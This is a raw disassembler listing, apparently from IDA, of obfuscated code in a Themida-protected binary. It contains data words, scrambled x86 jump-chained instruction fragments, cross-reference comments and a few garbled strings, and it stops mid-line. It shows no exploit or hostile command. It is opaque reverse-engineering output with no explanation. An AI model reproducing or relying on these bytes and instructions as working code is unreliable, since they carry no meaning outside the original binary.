0C8B66CBh, 2C48324h dd 49E99A2Ch, 8100001Bh, 4C6h, 4EC8300h, 0BD242C89h, 71705CD5h dd 0FFFFC581h, 0A468FFFFh, 89000062h, 0D0BF243Ch, 0E971705Ch dd 275Dh ; --------------------------------------------------------------------------- loc_55400C: ; CODE XREF: Themida_:0055CBA9j add esp, 4 jmp loc_55BC15 ; --------------------------------------------------------------------------- dd 0D60A2A68h, 0D813E93Ah, 8B66FFFFh, 81512404h, 4ECh dd 24248900h, 4240483h, 4C18159h, 56000000h, 0DF3000BEh dd 0DEF7464Bh, 3FD3BB53h, 0C3814A2Ch, 53066FC9h, 6C78EB81h dd 0DE3149A2h, 0D9BA525Bh, 8106B53Eh, 0BD73FDC2h, 5BD7E97Ah dd 835B0000h, 45E901E9h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_55406F: ; CODE XREF: Themida_:00551CC6j pop esi jmp loc_55BA4E ; --------------------------------------------------------------------------- aD?xZCsnu db '╬╬╓?X)жZяФИ╜u',0 align 4 loc_554084: ; CODE XREF: Themida_:00553014j add esp, 4 sub ebp, 2 jmp loc_55BDD5 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 141FE904h, 80BF0000h, 2D4A5F00h, 6E8B23C2h dd 0C205F801h, 5F6E8B23h, 80D1E951h, 0EC830000h, 24048904h dd 255CE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5540BE: ; CODE XREF: Themida_:0055C0F6j pop ebp shr esi, 3 sub esi, 0AA5B298h jmp loc_557E3A ; --------------------------------------------------------------------------- db 1, 0C3h, 0E9h dd 1490h, 24048B66h, 4EC81h, 34890000h, 4EC8124h, 89000000h dd 4812424h, 424h, 24348B00h, 52CE9h, 831CB500h, 1C8904ECh dd 0FEB2B324h, 7EF380C3h, 0FFEB80h, 241C8BDDh, 4C481h dd 89040000h, 0B42CDE04h, 0B404E800h, 72F3E9h, 34895C00h dd 2474FF24h, 86FFE904h, 0DEBF0000h, 0E94F4B53h, 622Ah dd 59CF215Dh, 1EF81h, 0EF810000h, 2A59532Ah, 0EEEEF81h dd 0FE0101A8h, 882E95Fh, 4EBD0000h, 81660514h, 1D55E6C5h dd 5DE829C8h, 7C99E9h, 240C8900h, 0FFECC9E9h, 0C3815FFFh dd 4, 5C241C87h, 704F68h, 30D0E900h, 0C6810000h, 26FB4E67h dd 2C6815Bh, 33000000h, 34312434h, 24343324h, 6624248Bh dd 0E924048Bh, 5C41h ; --------------------------------------------------------------------------- loc_5541AC: ; CODE XREF: Themida_:0055346Cj neg ebp add ebp, 0CA05E9BAh jmp loc_5580F0 ; --------------------------------------------------------------------------- db 28h, 0D3h, 5Ah dd 0A2E9C328h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5541C3: ; CODE XREF: Themida_:00558B01j or ecx, 5C284AECh jmp loc_556AAE ; --------------------------------------------------------------------------- loc_5541CE: ; CODE XREF: Themida_:00552B6Fj and ah, 0E1h add ah, 0BCh add bh, ah pop eax mov dl, bh pop ebx shl dl, 6 jmp loc_558DF5 ; --------------------------------------------------------------------------- dw 5854h dd 0F3E95653h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_5541EB: ; CODE XREF: Themida_:00558562j pop esi xor ebx, 3EA24E27h jmp loc_5596D7 ; --------------------------------------------------------------------------- db 68h dd 50FF2D21h, 2E9C159h, 2E52BB53h, 0D9091F82h, 0A7C1815Bh dd 0E9E04010h, 0FFFFCDADh, 9C241CF6h, 0FFC829E9h, 68C300FFh dd 7A30h, 51240489h, 8126E9h, 0AC685C00h, 0E9000024h, 64B3h dd 4AE96F04h, 58000031h, 0E9243433h, 531Eh ; --------------------------------------------------------------------------- loc_554248: ; CODE XREF: Themida_:00551674j add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_559797 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 582434FFh db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_558B20 ; --------------------------------------------------------------------------- loc_55427B: ; CODE XREF: Themida_:00559292j mov [esp], edx mov dl, 1Bh push edx mov dl, 4 mov bl, dl pop edx sub esp, 4 jmp loc_55C716 ; --------------------------------------------------------------------------- loc_554291: ; CODE XREF: Themida_:0055504Dj pop esi mov [eax], edx jmp loc_55A626 ; --------------------------------------------------------------------------- db 55h, 0BDh, 0BEh dd 0E9647A05h, 4414h, 42474FFh, 8B2434FFh, 0E955240Ch dd 50B6h, 4C3E181h, 0BFE9642Dh, 0E9000035h, 0FFFFC782h ; --------------------------------------------------------------------------- loc_5542C4: ; CODE XREF: Themida_:0055A146j mov [esp], edx jmp loc_552FFA ; --------------------------------------------------------------------------- loc_5542CC: ; CODE XREF: Themida_:00557CD2j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov eax, [esp] add esp, 4 jmp loc_5539DB ; --------------------------------------------------------------------------- dw 0CA81h dd 215215CCh, 4957F281h, 0F7522254h, 815A2414h, 4ECh, 24048900h dd 13A68h, 240C8900h, 4D59C2B9h, 0D7D0B865h, 0C82923E2h dd 592434FFh, 4C481h, 0B6E90000h, 50000084h, 88CF8853h dd 0E9515BFCh, 15A4h, 468C68h, 5A3EE900h, 0E3000000h, 50C32858h dd 0E3283CB4h, 0C0B60F58h, 6887048Dh, 561Bh, 224CE9h db 0 ; --------------------------------------------------------------------------- loc_554359: ; CODE XREF: Themida_:00551481j pop ebp add edx, eax jmp loc_555097 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 2B88D588h, 592434FFh, 5B04C483h, 0FFFA2AE9h, 4BEFFh dd 0F5010000h, 242C875Eh, 0F2815A5Ch, 3CE5140Eh, 0FFC6B9E9h dd 53D168FFh, 14890000h, 4815624h, 6F41C524h, 68575A20h dd 69695164h, 0A8B9515Fh, 0C12E8E19h, 0F18103E1h, 6E383F80h dd 7EAE181h, 0D1F71D65h, 410DE9h db 0 ; --------------------------------------------------------------------------- loc_5543C1: ; CODE XREF: Themida_:00559CF2j sub edx, 75B15AA8h add edx, edi add edx, 75B15AA8h push eax mov eax, 0 add eax, edx jmp loc_557121 ; --------------------------------------------------------------------------- loc_5543DC: ; CODE XREF: Themida_:0055A633j add esi, 4 xchg esi, [esp] pop esp jmp loc_550F2B ; --------------------------------------------------------------------------- db 87h dd 12E92434h, 89FFFFF7h, 4C281E2h, 83000000h, 148704C2h dd 14875C24h, 24248B24h, 24048B66h, 4EC81h, 56E90000h dd 0FF000029h, 1BE92434h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55441F: ; CODE XREF: Themida_:00551987j mov esp, [esp] mov [esp], edx mov edx, ebx mov ecx, edx pop edx mov esi, ecx mov ecx, [esp] add esp, 4 mov eax, esi push dword ptr [esp] pop esi add esp, 4 push edi mov edi, esp push esi push 3681630h pop esi push ebp push eax mov eax, 1C9A23C4h mov ebp, 2D877A67h xor ebp, eax pop eax jmp loc_5514D2 ; --------------------------------------------------------------------------- db 1, 0D9h, 81h dd 0DF1C16C1h, 5627E91Ch, 0EE830000h, 24348704h, 4A49E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_554472: ; CODE XREF: Themida_:00552875j pop ecx jmp loc_550FAC ; --------------------------------------------------------------------------- loc_554478: ; CODE XREF: Themida_:005566CEj mov esi, ecx mov eax, esi push dword ptr [esp] pop esi jmp loc_558EE4 ; --------------------------------------------------------------------------- loc_554485: ; CODE XREF: Themida_:00555EFFj mov edi, eax pop eax mov esi, edi pop edi pop ebp xor [esp+4], esi pop esi push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 xor eax, 4D6D204Dh push edi mov edi, 60FB53A1h push 56BAh mov [esp], esi mov esi, 604C53B1h push edx mov edx, 4CB37305h shl edx, 2 jmp loc_5546E4 ; --------------------------------------------------------------------------- db 0B6h dd 66F08816h, 80A0045Ah, 0C30012C3h, 28C1E9h db 0 ; --------------------------------------------------------------------------- loc_5544D9: ; CODE XREF: Themida_:005588E6j add esp, 4 or eax, eax jz loc_5580E2 push dword ptr [edi+28h] add dword ptr [esp], 4DBD2EA6h jmp loc_551638 ; --------------------------------------------------------------------------- dw 8758h dd 248B240Ch, 0C896624h, 0B60F6624h, 9C5166C8h, 0FFC539E9h dd 81E189FFh, 4C1h, 58C2E900h, 27E90000h, 0ADFFFFC5h, 440668h dd 240C8900h, 835EDEB9h, 1420E95Eh, 0EB800000h, 0D7B753E3h dd 5BF800h, 66D72CD8h, 51241C8Bh, 5253E189h, 494A3368h dd 68425A02h, 4231h, 0BE243489h, 36803078h, 895EF231h dd 0EB815AD3h, 0E681CB0h, 1EE4E9h, 2434FF00h, 4C48158h dd 0E9000000h, 0FFFFC4CAh, 8017CF80h, 0E7C011CFh, 8BC78003h dd 82F780h, 0C2805BFAh, 5AD32816h, 0EC83C300h, 24048904h dd 24E95266h, 81FFFFFFh, 4ECh, 243C8900h, 0FFEB32E9h, 5FFE31FFh dd 875EF101h, 248B240Ch, 4316624h, 7FE99C24h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5545C7: ; CODE XREF: Themida_:0055A507j mov ch, dl jmp loc_551D67 ; --------------------------------------------------------------------------- loc_5545CE: ; CODE XREF: Themida_:005514CDj push edx jmp loc_55115E ; --------------------------------------------------------------------------- loc_5545D4: ; CODE XREF: Themida_:00557E5Ej pop esp push ebx push 1Ch pop ebx jmp loc_559EB6 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 0FCh dd 83FFFFF6h, 0F82804C4h, 5B2434FFh, 81E28952h, 4C2h, 7BF8E900h dd 0E0890000h, 0C76E9h db 0 ; --------------------------------------------------------------------------- loc_554605: ; CODE XREF: Themida_:00552DD3j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ecx push edi mov edi, 5DA85F0Ah mov ecx, edi jmp loc_55A29E ; --------------------------------------------------------------------------- aRsA db 'RИъA',0 dw 0FE00h dd 4EFC0CFh, 0E92FEF80h, 0D40h, 30D3EE80h, 74AE9F0h, 62680000h dd 89000041h, 0EC812414h, 4, 24048F54h, 7BB7E9h, 81EED100h dd 0E0FD8C6h, 50DEF759h, 2C73EDB8h, 672DE936h, 0C0830000h dd 7D0EE904h, 0C4830000h, 0C3C8E904h, 0C381FFFFh, 4, 0E904C383h dd 0FFFFE79Eh ; --------------------------------------------------------------------------- loc_55468C: ; CODE XREF: Themida_:00551615j and eax, edx jmp loc_553DE5 ; --------------------------------------------------------------------------- db 59h dd 8324148Bh, 0CE0104C4h, 592434FFh, 0E904C483h, 22B8h ; --------------------------------------------------------------------------- loc_5546A8: ; CODE XREF: Themida_:00557202j mov ecx, 1 and eax, ecx mov ecx, [esp] sub esp, 4 mov [esp], edi mov edi, esp push edx mov edx, 49605C71h shl edx, 6 shl edx, 2 jmp loc_552A04 ; --------------------------------------------------------------------------- aL4Hox db '▀4$hoX',0 dw 8900h dd 0E589242Ch, 4C581h, 0E9560000h, 0FFFFFC91h ; --------------------------------------------------------------------------- loc_5546E4: ; CODE XREF: Themida_:005544C2j and edx, 579E799Dh push eax jmp loc_559398 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0DFA3E952h, 8B5FFFFFh, 0C483241Ch, 242C8704h dd 5124248Bh, 0D4885053h, 48BE388h, 4C48124h, 50000000h dd 651AE9h, 48B6600h, 2CDB6824h, 14890000h, 1E8E924h, 55F0000h dd 1159079Bh, 9B2DD801h, 2D115907h, 178B2F8Dh, 637EBD55h dd 0E8296043h, 83242C8Bh, 0D56804C4h, 8900007Ch, 0BA52242Ch dd 3D1D0DDCh, 86B245BDh, 8BD53129h, 89512414h, 36BD55E1h dd 0F7343921h, 0E94D4DDDh, 154Dh, 4EA81h, 14870000h, 24248B24h dd 0DF1E9h, 240C8900h, 0FFC2B5E9h, 240C87FFh, 6624248Bh dd 9C240401h, 0FFC2A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5547A1: ; CODE XREF: Themida_:00553390j push ebx mov ebx, 75F84806h dec ebx add ebx, 1D7B5D19h neg ebx add ebx, 9373A522h add esi, ebx jmp loc_551641 ; --------------------------------------------------------------------------- loc_5547BD: ; CODE XREF: Themida_:00555AB6j pop ebp loc_5547BE: ; CODE XREF: Themida_:005570E5j push 2483h mov [esp], edx jmp loc_55C746 ; --------------------------------------------------------------------------- db 66h dd 5524048Bh, 0E9525D54h, 0FFFFE2BEh, 7DD0C581h, 0F74D36DCh dd 0ED8145DDh, 0AC92CC63h, 815DEF21h, 10021CEFh, 5FFA0100h dd 5204C283h, 42474FFh, 6824148Bh, 1C98h, 54241C89h, 4C3815Bh dd 83000000h, 1C8704C3h, 48F5C24h, 24248B24h, 56C8B60Fh dd 0C6815E54h, 4, 3B8268h, 8451E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554832: ; CODE XREF: Themida_:0055A589j push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_55CA07 ; --------------------------------------------------------------------------- db 80h, 0E5h, 42h dd 0FEB5E580h, 1533E9C5h, 4BD0000h, 81000000h, 0E37E60E9h dd 81E9012Ch, 0E37E60C1h, 0C335D2Ch, 240C3124h, 5C240C33h dd 0FFC1D9E9h, 2E6C1FFh, 0FFDAEFE9h, 81E389FFh, 4C3h, 4EB8300h dd 5C241C87h, 0BD242C89h, 6DB3560Fh, 0DC6B33B8h, 48D0F747h dd 0EBE9E0D1h, 66000029h, 5724048Bh, 5750E789h, 84D5D68h dd 0E5C2E978h, 428FFFFFh, 3AE95E38h, 57000075h, 7E2703BFh dd 0D8EB811Fh, 0E9537929h, 6010h, 0FFFFEA81h, 0E2C1FFFFh dd 0E02FE906h, 487FFFFh, 22D4E924h, 0DCBE0000h, 0E9599C79h dd 40AFh, 0E98734FFh, 0FFFFC156h, 33240431h, 545C2404h dd 6824048Fh, 6B09h, 6F99E9h, 4C68100h, 0E9000000h, 0FFFFD6E8h dd 3A83E952h, 5A540000h, 350268h, 243C8900h, 8904EC83h dd 9A68240Ch, 8B7F096Dh, 0C481240Ch, 4, 8107E1C1h, 335C8CC1h dd 81D1F71Eh, 0B83D24E9h, 3E1C109h, 5B96C181h, 0CF89DEE5h dd 5227E959h, 4BE0000h, 810F7A4Bh, 60737CCEh, 0B3C68149h dd 812FE567h, 0A01CD3C6h, 5EF08980h, 0DC7BD55h, 0EE01386Ah dd 0DE40E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55497E: ; CODE XREF: Themida_:0055A361j mov [esp], ecx push eax pop ecx pop eax push edx mov edx, 1A4E4Eh jmp loc_558A95 ; --------------------------------------------------------------------------- db 0C1h dd 0F58107E5h, 70F718FEh, 0D2F4E94Dh, 0F828FFFFh, 4EA4E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5549A6: ; CODE XREF: Themida_:00556F68j push esp mov ebp, [esp] add esp, 4 add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_55124E ; --------------------------------------------------------------------------- dd 4ED81h, 0ACE90000h, 87FFFFC0h, 0E95C2404h, 33D6h, 2C681h dd 34330000h, 24343124h, 1049E9h, 73ED8100h, 16FE353h dd 73C581CDh, 816FE353h, 8947F4EDh, 6E25E977h, 33580000h dd 14312414h, 24143324h, 0D58E9h, 6800h, 88E90000h, 87000001h dd 6AE9241Ch, 8F00006Fh, 248B2404h, 24048B24h, 3D8068h dd 243C8900h, 0B0E9E789h, 5BFFFFC4h, 5B8DE9h, 44815B00h dd 691A0424h, 44013258h, 6C810424h, 691A0424h, 0FF583258h dd 0E95B2434h, 8027h, 83241C8Bh, 0EEC004C4h, 5EEC003h dd 0EEC0C6FEh, 0CB15105h, 80A9C980h, 0C180A4C1h, 0C3E980C4h dd 0C8BCE30h, 391CE924h, 0E9510000h, 21F3h, 2BDDB951h dd 0C981367Fh, 2AB471DEh, 2EAAC981h, 81414CC2h, 9E5EC8E1h dd 4F04E91Ch, 5A540000h, 1E91E951h, 48F0000h, 24248B24h dd 9C2404FFh, 4A8E9h, 24048F00h, 2424895Ch, 46856h, 505E0000h dd 334869B8h, 2444294Dh, 74015808h, 9CE90424h, 0F6000037h dd 0FFEA80D2h, 1E95066h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554AF7: ; CODE XREF: Themida_:00552145j pop esi add edx, edi pop edi add edx, 3DB64A84h add edi, edx push dword ptr [esp] pop edx jmp loc_559098 ; --------------------------------------------------------------------------- loc_554B0C: ; CODE XREF: Themida_:00557B29j pop esi or edi, edx push dword ptr [esp] pop edx add esp, 4 push eax jmp loc_55B6F4 ; --------------------------------------------------------------------------- loc_554B1F: ; CODE XREF: Themida_:00559160j mov ebx, 79770D94h xor edx, ebx pop ebx sub edx, 61A5A396h and esi, edx pop edx push ebp push eax mov eax, 43850C72h shl eax, 8 push esi mov esi, 37B604AAh dec esi and esi, 5EEE3361h sub esi, 6E68DE2Ch xor eax, esi pop esi jmp loc_55A517 ; --------------------------------------------------------------------------- loc_554B55: ; CODE XREF: Themida_:0055C88Bj pop edx or ebx, 178D5DDFh inc ebx push edx mov edx, 7ECA3DB8h sub edx, 1784092Bh and edx, 53585EEDh sub edx, 0DEC800BFh sub ebx, edx pop edx or ebx, 1A104E64h push edx mov edx, 604C4536h add ebx, edx pop edx sub edi, ebx pop ebx mov ebx, 0B74EAE83h jmp loc_55874B ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 4B850h, 55E90000h, 0FF00007Eh, 565B2434h dd 0FFCF13E9h, 242C8BFFh, 6657E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554BBA: ; CODE XREF: Themida_:00559C38j push ebp mov ecx, [esp] jmp loc_552447 ; --------------------------------------------------------------------------- db 51h dd 0FFE15AE9h, 242C89FFh, 0FFFC79E9h db 0FFh ; --------------------------------------------------------------------------- loc_554BD1: ; CODE XREF: Themida_:0055B37Bj not ebp jmp loc_550C1A ; --------------------------------------------------------------------------- dd offset dword_5B9F68 dd 240C8900h, 53E9E189h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554BE7: ; CODE XREF: Themida_:005579FCj add edi, ecx pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp shr ecx, 2 jmp loc_559072 ; --------------------------------------------------------------------------- dd 5C1DEB81h, 0FB013FB7h, 5C1DC381h, 0A6E93FB7h, 31FFFFE1h dd 0C33240Ch, 24248B24h, 737FE9h, 4C18100h, 81000000h dd 4C1h, 7CF66800h, 0C890000h, 2474FF24h, 240C8B04h, 4C481h dd 48F0000h, 24248B24h, 4C481h, 34FF0000h, 24048B24h, 4C481h dd 89570000h, 0A4B850E7h, 55F5612h, 64FB2E6Fh, 0AEBEF105h dd 58C7013Bh, 4BE56h, 0F7010000h, 0E924348Bh, 1269h, 4C481h dd 50E90000h, 56FFFFD0h, 2451BD55h, 5DBE0916h, 0E91F0355h dd 0FAAh, 0EC83EEB2h, 241C8904h, 3886E9h, 0E9E4B600h, 0FFFFC001h ; --------------------------------------------------------------------------- loc_554CAC: ; CODE XREF: Themida_:0055C642j pop ecx pop eax xchg ebx, [esp] pop esp or eax, eax jz loc_55CE3F push dword ptr [edi+1Ch] mov ecx, [esp] push ebx mov ebx, esp push 7677h mov [esp], ebp jmp loc_555B85 ; --------------------------------------------------------------------------- dd 2351C681h, 81590E32h, 0BDA67DF6h, 3C460574h, 0F00162A9h dd 0A93C462Dh, 24348B62h, 0E904C483h, 3532h ; --------------------------------------------------------------------------- loc_554CF4: ; CODE XREF: Themida_:00557BC4j sub ebx, edi pop edi xchg ebx, [esp] mov esp, [esp] mov [esp], edi jmp loc_5597D2 ; --------------------------------------------------------------------------- db 0B1h, 53h, 0E9h dd 0FFFFEE54h ; --------------------------------------------------------------------------- loc_554D0C: ; CODE XREF: Themida_:00552034j mov edx, [esp] jmp loc_550D1C ; --------------------------------------------------------------------------- loc_554D14: ; CODE XREF: Themida_:0055234Cj add esp, 4 shr ecx, 6 sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 jmp loc_550DBC ; --------------------------------------------------------------------------- dd 0EEE9CE31h, 0E9FFFFCBh, 0FFFFBD0Eh, 0D8000AB3h, 82E95B66h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554D43: ; CODE XREF: Themida_:0055742Aj pop ebx xchg ebx, edx push edx push edx mov edx, 0FFFFFFFFh add [esp+4], edx pop edx push dword ptr [esp] pop edx add esp, 4 inc edx jmp loc_550B69 ; --------------------------------------------------------------------------- loc_554D62: ; CODE XREF: Themida_:00558D09j or cl, 39h inc cl xor cl, 30h xor cl, 0F5h mov bl, cl pop ecx jmp loc_553F1B ; --------------------------------------------------------------------------- db 81h, 0F6h, 81h dd 1B3EAEFh, 0EB295EF3h, 107FEB81h, 0E95D6935h, 76D6h dd 8B2434FFh, 0EFE92414h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554D97: ; CODE XREF: Themida_:00555E69j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_55943E ; --------------------------------------------------------------------------- loc_554DAC: ; CODE XREF: Themida_:00551B63j mov esi, [esp] add esp, 4 and eax, edi mov edi, [esp] add esp, 4 or eax, eax jnz loc_55297F mov edx, 31913C2Ah push 6814h mov [esp], ecx mov ecx, 1 jmp loc_55549E ; --------------------------------------------------------------------------- dd 6E7CC181h, 0E9015319h, 74DAE9h, 241C8900h, 314AE9h dd 67BF5700h, 0F747F85Ch, 81D7F7DFh, 7A39EC7h, 0E9F801B8h dd 31D6h, 0EAA5E958h, 0F756FFFFh, 815E241Ch, 434B94C6h dd 5221E96Dh, 34FF0000h, 1BE95824h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554E27: ; CODE XREF: Themida_:00559F01j pop ecx jmp loc_55AE56 ; --------------------------------------------------------------------------- db 51h, 0B9h, 31h dd 89333412h, 0C78159CFh, 8B34903h, 4762C781h, 0C7810DE8h dd 0D0D51606h, 26E9FE01h, 8100007Ch, 0A70123EDh, 81D50123h dd 0A70123C5h, 1CEFE923h, 0FD2D0000h, 592B4764h, 1136E9h db 0 ; --------------------------------------------------------------------------- loc_554E6D: ; CODE XREF: Themida_:005590B0j or edx, eax shl edx, 1 push ebx mov ebx, 24h add ebx, 368435E9h add ebx, edi push ebp jmp loc_556898 ; --------------------------------------------------------------------------- loc_554E85: ; CODE XREF: Themida_:00555ABCj push ebp mov ebp, 4 add ecx, 8BE77F1h add ecx, ebp sub ecx, 8BE77F1h mov ebp, [esp] add esp, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push 1252h mov [esp], ebx pop edx push 635Dh mov [esp], ebp mov ebp, edx jmp loc_552AD1 ; --------------------------------------------------------------------------- loc_554EC7: ; CODE XREF: Themida_:0055259Aj pop ebp add esp, 4 sub esp, 4 mov [esp], eax mov eax, 54A06C2Dh shl eax, 6 xor eax, 71241854h push esi jmp loc_559729 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0EE95500h, 80000000h, 0EC83A6EBh, 24148904h, 3252E9h dd 2474FF00h, 5FE95D04h, 0BF000048h, 4, 875FF801h, 535C2404h dd 0CC73FDBBh, 0A1F3813Dh, 8147306Fh, 0BA042444h, 81011744h dd 0C04246Ch, 16BB744h, 8104245Ch, 0C042444h, 566BB744h dd 6A1DBA52h, 0C2817659h, 203B0629h, 2E2C14Ah, 8104EAC1h dd 7228A9C2h, 5AD689FBh, 8247429h, 4815B5Eh, 6078F524h dd 24042940h, 0FFE064E9h, 0BAD0E9FFh, 815BFFFFh, 7C05AFF3h dd 0CFEB8172h, 89EAF252h, 0BA525BDDh, 6F8323EAh, 315AD089h dd 0D0F75DE8h, 0A964770Dh, 2E0C146h, 0E9D0F748h, 0FFFFE183h dd 0D47EEFBEh, 0EBEE8176h, 176D47Eh, 0C1835EF1h, 240C8704h dd 4C5815Ch, 81000000h, 2C5h, 242C3300h, 33242C31h, 248B242Ch dd 4FC2E924h, 895F0000h, 240C8BC8h, 81E28952h, 4C2h, 4C28300h dd 8B241487h, 0B9512424h, 9130B67Bh, 2159C801h, 6EE91C47h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554FFF: ; CODE XREF: Themida_:005580F2j pop ebp sub [esp+4], esi pop esi pop esi add esi, 5B4372ADh jmp loc_55B68A ; --------------------------------------------------------------------------- loc_555011: ; CODE XREF: Themida_:005580DDj pop eax mov eax, ebp pop ebp add eax, 5046689Ah add eax, edi push esi mov esi, 7A283B94h push 4B86h mov [esp], eax mov eax, 730118C7h inc eax or eax, 41D96152h not eax xor eax, 0A5C754DFh add esi, 1B3522E2h sub esi, eax sub esi, 1B3522E2h pop eax sub eax, esi jmp loc_554291 ; --------------------------------------------------------------------------- dw 3C29h dd 243C8B24h, 4C481h, 0EF810000h, 0A75C83Ch, 4B1C581h dd 0FD010425h, 4B1ED81h, 0E6E90425h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_555077: ; CODE XREF: Themida_:0055BFF9j push 1BB3h mov [esp], eax pop esi jmp loc_555442 ; --------------------------------------------------------------------------- db 29h, 0F0h, 31h dd 0C08AE9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55508E: ; CODE XREF: Themida_:00558947j add esp, 4 push ecx jmp loc_552583 ; --------------------------------------------------------------------------- loc_555097: ; CODE XREF: Themida_:0055435Cj add [edx], ecx mov edx, [esp] jmp loc_55BEFA ; --------------------------------------------------------------------------- db 80h, 0EFh, 0B1h dd 285BFD30h, 0CFFE59EFh, 5697E9h, 24048B00h, 104C483h dd 242C8BEFh, 4C481h, 3C870000h, 24248B24h, 7868E9h, 3443BE00h dd 82E90B49h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5550D7: ; CODE XREF: Themida_:00552291j pop edx sub edx, 1A273945h mov edi, [esp] add esp, 4 pop esi push 1B53h mov [esp], edx pop eax mov edx, [esp] jmp loc_55B030 ; --------------------------------------------------------------------------- db 2Ch, 0C5h, 34h dd 58C730C6h, 80A0E780h, 0F828DAF7h, 71E5E9h db 0 ; --------------------------------------------------------------------------- loc_55510D: ; CODE XREF: Themida_:0055A9C7j push 4D0Dh mov [esp], edx push 1353h mov [esp], eax push 6A1Ch mov [esp], ebp mov ebp, 1 mov eax, ebp mov ebp, [esp] add esp, 4 jmp loc_556D7E ; --------------------------------------------------------------------------- db 81h dd 9638D0C2h, 81D2F761h, 0F62C6BC2h, 2A86E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55514A: ; CODE XREF: Themida_:00550B01j mov ecx, 4E2E6A38h sub ecx, 713B92h sub eax, ecx mov ecx, [esp] jmp loc_5513D2 ; --------------------------------------------------------------------------- db 66h dd 6638B353h, 308BB450h, 0FE5866E3h, 0E9C3FECBh, 0FFFFF3BEh ; --------------------------------------------------------------------------- loc_555174: ; CODE XREF: Themida_:0055C9C6j mov dword ptr [edi+20h], 43371E27h xor [edi+20h], ebx pop ebx push edx mov edx, 666D05DAh jmp loc_559CE9 ; --------------------------------------------------------------------------- loc_55518A: ; CODE XREF: Themida_:0055AE3Fj neg esi inc esi xor esi, 2F785B68h jmp loc_5533A9 ; --------------------------------------------------------------------------- loc_555198: ; CODE XREF: Themida_:00556E72j sub edx, edi jmp loc_5514EC ; --------------------------------------------------------------------------- db 66h dd 665A4868h, 48F6654h, 81686624h, 2C89665Ah, 2686624h dd 665D6600h, 26BF6657h, 7C29663Eh, 5F660424h, 246C0166h dd 0D5A7E902h, 3489FFFFh, 3D326824h, 2C890000h, 48B56824h dd 99E921D2h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5551E3: ; CODE XREF: Themida_:0055B30Ej mov [esp], eax push esi mov esi, 4D0F6E72h jmp loc_5535CB ; --------------------------------------------------------------------------- db 0C3h, 0E9h, 1Ch db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5551F7: ; CODE XREF: Themida_:005511FAj mov ebx, 28651300h and ebx, 41124CDh neg ebx dec ebx jmp loc_550AAD ; --------------------------------------------------------------------------- dw 0CA04h dd 0E800C104h, 0CA2CC12Ch, 0FFF01FE9h db 0FFh ; --------------------------------------------------------------------------- loc_555219: ; CODE XREF: Themida_:0055B35Ej add eax, 0C104BE3Fh jmp loc_55A533 ; --------------------------------------------------------------------------- db 68h dd 3EE9h, 87241C89h, 3CE9240Ch, 81000032h, 6C9370F1h, 59CF290Bh dd 0A6EEF81h, 0EF81081Ch, 7E88325Dh, 39CBE9h db 0 ; --------------------------------------------------------------------------- loc_55524D: ; CODE XREF: Themida_:00559C8Fj push dword ptr [esp] jmp loc_5596FF ; --------------------------------------------------------------------------- loc_555255: ; CODE XREF: Themida_:00556421j push edi jmp loc_553A74 ; --------------------------------------------------------------------------- db 51h dd 16BEE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555262: ; CODE XREF: Themida_:0055C053j xor edx, ebx xor ebx, edx xor eax, ebx jmp loc_557EA0 ; --------------------------------------------------------------------------- db 5Ch, 66h, 51h dd 2414F766h, 0D5E95966h, 500004Bh, 4, 8704E883h, 0B2E92404h dd 29000038h, 2AEA81CAh, 8151DE1Eh, 6A2980EAh, 2C2811Bh dd 0FF3A5F6Eh, 0F2E92434h, 8BFFFFC4h, 89522404h, 0BA5255E2h dd 4A133139h, 3B9C281h, 0D589058Eh, 4EDC15Ah, 475CC581h dd 19E90B0Ch, 66FFFFD8h, 0E924048Bh, 0FFFFE852h, 9C2424D2h dd 0FFB769E9h, 88BC2CFFh, 4E958C2h, 1FFFFF8h, 3C335DEFh dd 243C3124h, 